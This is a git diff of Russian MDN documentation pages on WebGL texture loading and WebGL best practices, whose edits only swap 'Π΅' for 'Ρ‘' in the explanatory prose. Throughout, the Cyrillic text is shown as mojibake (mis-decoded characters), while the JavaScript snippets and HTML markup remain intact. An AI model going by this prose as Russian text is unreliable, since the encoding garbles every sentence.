+ // Π Π°Π·ΠΌΠ΅Ρ€ соотвСтствуСт стСпСни 2. Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ MIP'Ρ‹.
gl.generateMipmap(gl.TEXTURE_2D);
} else {
// Π Π°Π·ΠΌΠ΅Ρ€ Π½Π΅ соотвСтствуСт стСпСни 2.
@@ -71,15 +71,15 @@ function isPowerOf2(value) {
return (value &amp; (value - 1)) == 0;
}</code></pre>
-<p>Ѐункция <code>loadTexture()</code> начинаСтся с создания ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° WebGLΒ <code>texture</code>Β Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ {{domxref("WebGLRenderingContext.createTexture()", "createTexture()")}}. Π‘Π½Π°Ρ‡Π°Π»Π° функция создаСт тСкстуру ΠΈΠ· СдинствСнного голубого пиксСля, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ тСкстура ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использована сразу (ΠΊΠ°ΠΊ сплошной Π³ΠΎΠ»ΡƒΠ±ΠΎΠΉ Ρ†Π²Π΅Ρ‚) ΠΏΡ€ΠΈ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° изобраТСния ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°Π½ΡΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ врСмя.</p>
+<p>Ѐункция <code>loadTexture()</code> начинаСтся с создания ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° WebGLΒ <code>texture</code>Β Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ {{domxref("WebGLRenderingContext.createTexture()", "createTexture()")}}. Π‘Π½Π°Ρ‡Π°Π»Π° функция создаёт тСкстуру ΠΈΠ· СдинствСнного голубого пиксСля, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ тСкстура ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использована сразу (ΠΊΠ°ΠΊ сплошной Π³ΠΎΠ»ΡƒΠ±ΠΎΠΉ Ρ†Π²Π΅Ρ‚) ΠΏΡ€ΠΈ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° изобраТСния ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°Π½ΡΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ врСмя.</p>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ тСкстуру ΠΈΠ· Ρ„Π°ΠΉΠ»Π° изобраТСния, функция создаСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Image</code>Β ΠΈ присваиваСт Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΡƒΒ <code>src</code> адрСс, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ тСкстуру. Ѐункция, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ Π½Π°Π·Π½Π°Ρ‡ΠΈΠ»ΠΈ Π½Π° событиС <code>image.onload</code>,Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π° послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ изобраТСния. Π’ этот ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΒ {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΊΠ°ΠΊ исходник для тСкстуры. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ устанавливаСм Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΡŽ ΠΈ натяТСниС, исходя ΠΈΠ· Ρ‚ΠΎΠ³ΠΎ, являСтся Π»ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ изобраТСния ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒΡŽ 2 ΠΈΠ»ΠΈ Π½Π΅Ρ‚.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ тСкстуру ΠΈΠ· Ρ„Π°ΠΉΠ»Π° изобраТСния, функция создаёт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Image</code>Β ΠΈ присваиваСт Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΡƒΒ <code>src</code> адрСс, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ тСкстуру. Ѐункция, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ Π½Π°Π·Π½Π°Ρ‡ΠΈΠ»ΠΈ Π½Π° событиС <code>image.onload</code>,Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π° послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ изобраТСния. Π’ этот ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΒ {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΊΠ°ΠΊ исходник для тСкстуры. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ устанавливаСм Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΡŽ ΠΈ натяТСниС, исходя ΠΈΠ· Ρ‚ΠΎΠ³ΠΎ, являСтся Π»ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ изобраТСния ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒΡŽ 2 ΠΈΠ»ΠΈ Π½Π΅Ρ‚.</p>
<p>Π’ WebGL1 изобраТСния Ρ€Π°Π·ΠΌΠ΅Ρ€Π°, Π½Π΅ ΡΠ²Π»ΡΡŽΡ‰Π΅Π³ΠΎΡΡ ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒΡŽ 2, ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ <code>NEAREST</code>Β ΠΈΠ»ΠΈΒ <code>LINEAR</code>Β Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΡŽ, ΠΈ для Π½ΠΈΡ… нСльзя ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ mipmap. Π’Π°ΠΊΠΆΠ΅ для Ρ‚Π°ΠΊΠΈΡ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒΒ Π½Π°Ρ‚ΡΠΆΠ΅Π½ΠΈΠ΅Β <code>CLAMP_TO_EDGE</code>. Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, Ссли ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€ стСпСни 2 ΠΏΠΎ ΠΎΠ±Π΅ΠΈΠΌ осям, WebGL ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΊΠ°Ρ‡Π΅ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΡŽ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ mipmapΒ ΠΈ Ρ€Π΅ΠΆΠΈΠΌΡ‹ натяТСния <code>REPEAT</code>Β ΠΈΠ»ΠΈΒ <code>MIRRORED_REPEAT</code>.</p>
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰Π΅ΠΉΡΡ тСкстуры являСтся ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΊΠΈΡ€ΠΏΠΈΡ‡Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ размноТаСтся для покрытия повСрхности ΠΈ создания изобраТСния ΠΊΠΈΡ€ΠΏΠΈΡ‡Π½ΠΎΠΉ стСны.</p>
-<p>Мипмаппинг ΠΈ UV-ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{domxref("WebGLRenderingContext.texParameter()", "texParameteri()")}}. Π’Π°ΠΊ Π²Ρ‹ смоТСтС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ тСкстуры с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ, Π½Π΅ ΡΠ²Π»ΡΡŽΡ‰ΠΈΠΌΡΡ ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒΡŽ 2 (NPOT - non-power-of-two), Ρ†Π΅Π½ΠΎΠΉ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡΒ ΠΌΠΈΠΏΠΌΠ°ΠΏΠΏΠΈΠ½Π³Π°,Β UV-натяТСния, UV-повторСния, ΠΈ Π²Π°ΠΌ самому придСтся ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΈΠΌΠ΅Π½Π½ΠΎ устройство Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ тСкстуру.</p>
+<p>Мипмаппинг ΠΈ UV-ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{domxref("WebGLRenderingContext.texParameter()", "texParameteri()")}}. Π’Π°ΠΊ Π²Ρ‹ смоТСтС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ тСкстуры с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ, Π½Π΅ ΡΠ²Π»ΡΡŽΡ‰ΠΈΠΌΡΡ ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒΡŽ 2 (NPOT - non-power-of-two), Ρ†Π΅Π½ΠΎΠΉ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡΒ ΠΌΠΈΠΏΠΌΠ°ΠΏΠΏΠΈΠ½Π³Π°,Β UV-натяТСния, UV-повторСния, ΠΈ Π²Π°ΠΌ самому придётся ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΈΠΌΠ΅Π½Π½ΠΎ устройство Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ тСкстуру.</p>
<pre><code>// Ρ‚Π°ΠΊΠΆΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ gl.NEAREST вмСсто gl.LINEAR, Π½ΠΎ Π½Π΅ mipmap.
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
@@ -88,7 +88,7 @@ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
// НС допускаСм повторСния ΠΏΠΎ t-ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π΅.
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);</code></pre>
-<p>ΠŸΠΎΠ²Ρ‚ΠΎΡ€ΠΈΠΌ, Ρ‡Ρ‚ΠΎ с этими парамСтрами совмСстимыС WebGL устройства Π±ΡƒΠ΄ΡƒΡ‚ Π΄ΠΎΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ использованиС тСкстур с Π»ΡŽΠ±Ρ‹ΠΌ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ (Π²ΠΏΠ»ΠΎΡ‚ΡŒ Π΄ΠΎ максимального). Π‘Π΅Π· ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠΉ настройки WebGL ΠΏΠΎΡ‚Π΅Ρ€ΠΏΠΈΡ‚ Π½Π΅ΡƒΠ΄Π°Ρ‡Ρƒ ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ NPOT-тСкстур, ΠΈ Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚Β <code>rgba(0,0,0,0)</code>.</p>
+<p>ΠŸΠΎΠ²Ρ‚ΠΎΡ€ΠΈΠΌ, Ρ‡Ρ‚ΠΎ с этими парамСтрами совмСстимыС WebGL устройства Π±ΡƒΠ΄ΡƒΡ‚ Π΄ΠΎΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ использованиС тСкстур с Π»ΡŽΠ±Ρ‹ΠΌ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ (Π²ΠΏΠ»ΠΎΡ‚ΡŒ Π΄ΠΎ максимального). Π‘Π΅Π· ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠΉ настройки WebGL ΠΏΠΎΡ‚Π΅Ρ€ΠΏΠΈΡ‚ Π½Π΅ΡƒΠ΄Π°Ρ‡Ρƒ ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ NPOT-тСкстур, ΠΈ Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚Β <code>rgba(0,0,0,0)</code>.</p>
<p>Для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ изобраТСния Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Π²Ρ‹Π·ΠΎΠ² <code>loadTexture()</code>Β Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>main()</code>. Код ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ послС Π²Ρ‹Π·ΠΎΠ²Π°Β <code>initBuffers(gl)</code>.</p>
@@ -145,7 +145,7 @@ const texture = loadTexture(gl, 'cubetexture.png');</code></pre>
indices: indexBuffer,
};</code></pre>
-<p>Π‘Π½Π°Ρ‡Π°Π»Π° ΠΌΡ‹ создаСм WebGL Π±ΡƒΡ„Π΅Ρ€, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ сохраняСм ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ тСкстуры для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π³Ρ€Π°Π½ΠΈ, Π·Π°Ρ‚Π΅ΠΌ связываСм Π΅Π³ΠΎ с массивом, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅ΠΌ Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ значСния.</p>
+<p>Π‘Π½Π°Ρ‡Π°Π»Π° ΠΌΡ‹ создаём WebGL Π±ΡƒΡ„Π΅Ρ€, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ сохраняСм ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ тСкстуры для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π³Ρ€Π°Π½ΠΈ, Π·Π°Ρ‚Π΅ΠΌ связываСм Π΅Π³ΠΎ с массивом, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅ΠΌ Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ значСния.</p>
<p>Массив <code>textureCoordinates</code> опрСдСляСт ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ тСкстуры, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΠΊΠ°ΠΆΠ΄ΠΎΠΉΒ Π²Π΅Ρ€ΡˆΠΈΠ½Π΅ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π³Ρ€Π°Π½ΠΈ.Β Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ тСкстуры Π»Π΅ΠΆΠ°Ρ‚ Π² ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΊΠ΅ ΠΌΠ΅ΠΆΠ΄Ρƒ 0.0 ΠΈΒ 1.0.Β Π Π°Π·ΠΌΠ΅Ρ€Π½ΠΎΡΡ‚ΡŒ тСкстуры нормализуСтся Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… ΠΌΠ΅ΠΆΠ΄Ρƒ 0.0 ΠΈΒ 1.0, нСзависимо ΠΎΡ‚ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° изобраТСния.</p>
@@ -174,7 +174,7 @@ const texture = loadTexture(gl, 'cubetexture.png');</code></pre>
}
`;</code></pre>
-<p>ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ вмСсто получСния Ρ†Π²Π΅Ρ‚Π° Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹, ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ тСкстуры ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ ΠΈΡ… Π² Π²Π΅Ρ€ΡˆΠΈΠ½Π½Ρ‹ΠΉ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€, сообщая ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Ρ‚ΠΎΡ‡ΠΊΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ тСкстуры, которая соотвСтствуСт Π²Π΅Ρ€ΡˆΠΈΠ½Π΅.</p>
+<p>ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ вмСсто получСния Ρ†Π²Π΅Ρ‚Π° Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹, ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ тСкстуры ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ ΠΈΡ… Π² Π²Π΅Ρ€ΡˆΠΈΠ½Π½Ρ‹ΠΉ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€, сообщая ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Ρ‚ΠΎΡ‡ΠΊΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ тСкстуры, которая соотвСтствуСт Π²Π΅Ρ€ΡˆΠΈΠ½Π΅.</p>
<h3 id="Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½Ρ‹ΠΉ_ΡˆΠ΅ΠΉΠ΄Π΅Ρ€">Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½Ρ‹ΠΉ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€</h3>
diff --git a/files/ru/web/api/webgl_api/webgl_best_practices/index.html b/files/ru/web/api/webgl_api/webgl_best_practices/index.html
index 64dee04e13..eb5aef450a 100644
--- a/files/ru/web/api/webgl_api/webgl_best_practices/index.html
+++ b/files/ru/web/api/webgl_api/webgl_best_practices/index.html
@@ -10,9 +10,9 @@ translation_of: Web/API/WebGL_API/WebGL_best_practices
<h2 id="Π§Π΅Π³ΠΎ_слСдуСт_ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ">Π§Π΅Π³ΠΎ слСдуСт ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ</h2>
<ul>
- <li>Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ Π²Ρ‹Π΄Π°Π΅Ρ‚ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ ошибки WebGL, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ <code>getError(). Π’ Firefox ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ошибкС (Π΄ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΏΡ€Π΅Π΄Π΅Π»Π°) ΠΈΠ»ΠΈ ΠΏΡ€ΠΈ любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅ Π² Ρ€Π°Π±ΠΎΡ‚Π΅ WebGL выводится JavaScript ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅ с ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹ΠΌ описаниСм. Π’Π°ΠΌ ΠΆΠ΅ Π½Π΅ хочСтся, Ρ‡Ρ‚ΠΎ Π±Ρ‹ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²Ρ‹Π΄Π°Π²Π°Π»ΠΎ мноТСство ошибок Π² консоль, Π½Π΅ Ρ‚Π°ΠΊ Π»ΠΈ?</code></li>
+ <li>Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ Π²Ρ‹Π΄Π°Ρ‘Ρ‚ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ ошибки WebGL, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ <code>getError(). Π’ Firefox ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ошибкС (Π΄ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΏΡ€Π΅Π΄Π΅Π»Π°) ΠΈΠ»ΠΈ ΠΏΡ€ΠΈ любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅ Π² Ρ€Π°Π±ΠΎΡ‚Π΅ WebGL выводится JavaScript ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅ с ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹ΠΌ описаниСм. Π’Π°ΠΌ ΠΆΠ΅ Π½Π΅ хочСтся, Ρ‡Ρ‚ΠΎ Π±Ρ‹ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²Ρ‹Π΄Π°Π²Π°Π»ΠΎ мноТСство ошибок Π² консоль, Π½Π΅ Ρ‚Π°ΠΊ Π»ΠΈ?</code></li>
<li>НС слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>#ifdef GL_ES Π² ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π°Ρ… WebGL. НСсмотря Π½Π° Ρ‚ΠΎ Ρ‡Ρ‚ΠΎ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ€Π°Π½Π½ΠΈΡ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ эти Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Ρ‹, это Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π² Ρ‚ΠΎΠΌ случаС, Ссли провСряСмоС условиС всСгда истинно.</code></li>
- <li>ИспользованиС высокой точности (<code>highp</code> precision) Π²ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½Ρ‹Ρ… ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π°Ρ… ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊ нСсовмСстимости вашСго прилоТСния с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌΠΈ ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹ΠΌΠΈ устройствами. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΡ€Π΅Π΄Π½ΡŽΡŽ Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ (<code>mediump), Π½ΠΎ ΠΏΠΎΠΌΠ½ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ это ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΠΌΡƒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρƒ отрисовки ΠΈΠ·-Π·Π° ΠΏΠΎΡ‚Π΅Ρ€ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° 